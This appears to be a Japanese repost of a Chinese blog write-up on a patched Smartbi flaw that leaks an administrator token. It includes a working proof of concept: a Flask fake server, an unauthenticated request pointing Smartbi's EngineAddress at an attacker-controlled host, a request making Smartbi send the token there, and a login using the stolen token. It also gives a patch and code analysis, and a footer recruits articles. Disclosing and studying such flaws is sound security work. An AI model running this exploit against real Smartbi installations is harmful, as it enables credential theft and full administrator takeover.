ログイン認証情報を取得するための Smartbi トークン コールバックの脆弱性

少し前に、Smartbi は許可バイパスの脆弱性を正式に修正しました。不正な攻撃者がこの脆弱性を悪用して管理者トークンを取得し、管理者権限を完全に乗っ取る可能性があります。そこで、関連するパッチを調べて分析しました。

0x01の解析結果

パッチ解析により、以下の脆弱性再現手順が得られます。

最初のステップは、EngineAddress を攻撃者のマシン上の http サービス アドレスとして設定することです。

まず、Python フラスコを使用して偽のサーバーを構築します。そのサーバーには /api/v1/configs/engine/smartbitoken インターフェイスのみが登録され、JSON 応答本文が返されます。

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)
490d999f208e6f01108dc50bac1b5fcf.png

次の poc を使用して、EngineAddress を偽のサーバー アドレス http://10.52.32.43:8000 に設定します。

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000
6cfc045488db9b7fb330f9e16b4656c6.png

2 番目のステップは、smartbi をトリガーして、先ほど設定した EngineAddress にトークンを送信することです。

次のリクエストを送信します

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment
7756caa338e28c08078da6e203440b6f.png

関連するリクエストを送信すると、偽のサーバー上でトークンを含むリクエストが表示されます。

3d283a1eaff0b1d8b6468743ffaedea4.png

3 番目のステップは、上記で取得したトークンを使用してログインすることです。

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

true を返すと、ログインが成功し、Cookie が正当な資格情報であることを示します。

a1ef9d0b7d845727674014a721f52a4a.png

0x02解析処理

関連するパッチを読んでください。この脆弱性は /smartbix/api/monitor/setServiceAddress に関連していることがわかります。

9e58a445662360399f63f3157e7954a3.png

RejectSmartbixSetAddress クラスのパッチ適用メソッドをさらに詳しく見てみると、それが Smartbix.datamining.service.MonitorService クラスの getToken メソッドに関連していることがわかります。このパッチは、smartbix.datamining.service に getToken メソッドがあるかどうかを示します。システム内の .MonitorService は、/smartbix/api/monitor/ setEngineAddress などの一連のインターフェイス リクエストをインターセプトします。

ee9ddff0ec62af075829156b3d6503c2.png

Smartbix.datamining.service.MonitorService クラスを分析すると、ヘッダー内の注釈から、このクラスの下のすべてのルートが認証なしでアクセスできることがわかります。

bff17148a390b371ad131930d7ea8eca.png

getToken メソッドに対応するルートの /token を見つけ、メソッド内でトークンを生成し、入力タイプ パラメーターが Experiment の場合にシステム構成で構成された ENGINE_ADDRESS にトークンを送信します。

8af8e0c32591d1520558252abcceb12b.png 12042d505bbc00e045b77077e14d0901.png

これは、ENGINE_ADDRESS が制御可能である限り、パッチ パッケージのルート /smartbix/api/monitor/setServiceAddress から setEngineAddress メソッドまでの正当なトークンを取得できることを意味し、このメソッドが許可なしで ENGINE_ADDRESS を設定できることがわかります。

00a5b962e5e0ff184390ec090142ec3d.png

つまり、/smartbix/api/monitor/setServiceAddress インターフェイスを呼び出し、制御可能な偽のサーバーとして ENGINE_ADDRESS を設定するだけで、リクエスト メッセージからトークンを取得できます。(この場所を試した後、POST メソッドで要求された /api/v1/configs/engine/smartbitoken インターフェイスを偽のサーバーに実装する必要があることがわかり、応答コンテンツは json です) トークンを取得した後、次のことができます。 /smartbix/api/monitor /login メソッドを呼び出してログインします

cae3e6e4b0e2263bac086f82d10e9890.png

0x03 その他の命令

上記は ENGINE_ADDRESS 設定の使用法のみを示しており、使用する SERVICE_ADDRESS を設定する手順は上記と同様です。

8706bc9e3c5b6f3a91e47745cd23bacc.jpeg

オリジナル原稿を募集します

オリジナルの技術記事を募集します。投稿を歓迎します

送信メール: [email protected]

記事の種類: ハッカーオタクのテクノロジー、情報セキュリティのホットスポット、セキュリティの調査と分析など。

審査を通過して出版されると200~800元の報酬が得られる。

詳細については、私をクリックして表示してください。

fc5ce7f9f63d5eba83632b07fc6acdc2.gif

射撃練習場は「原文を読む」をクリック

おすすめ

転載: blog.csdn.net/qq_38154820/article/details/132463652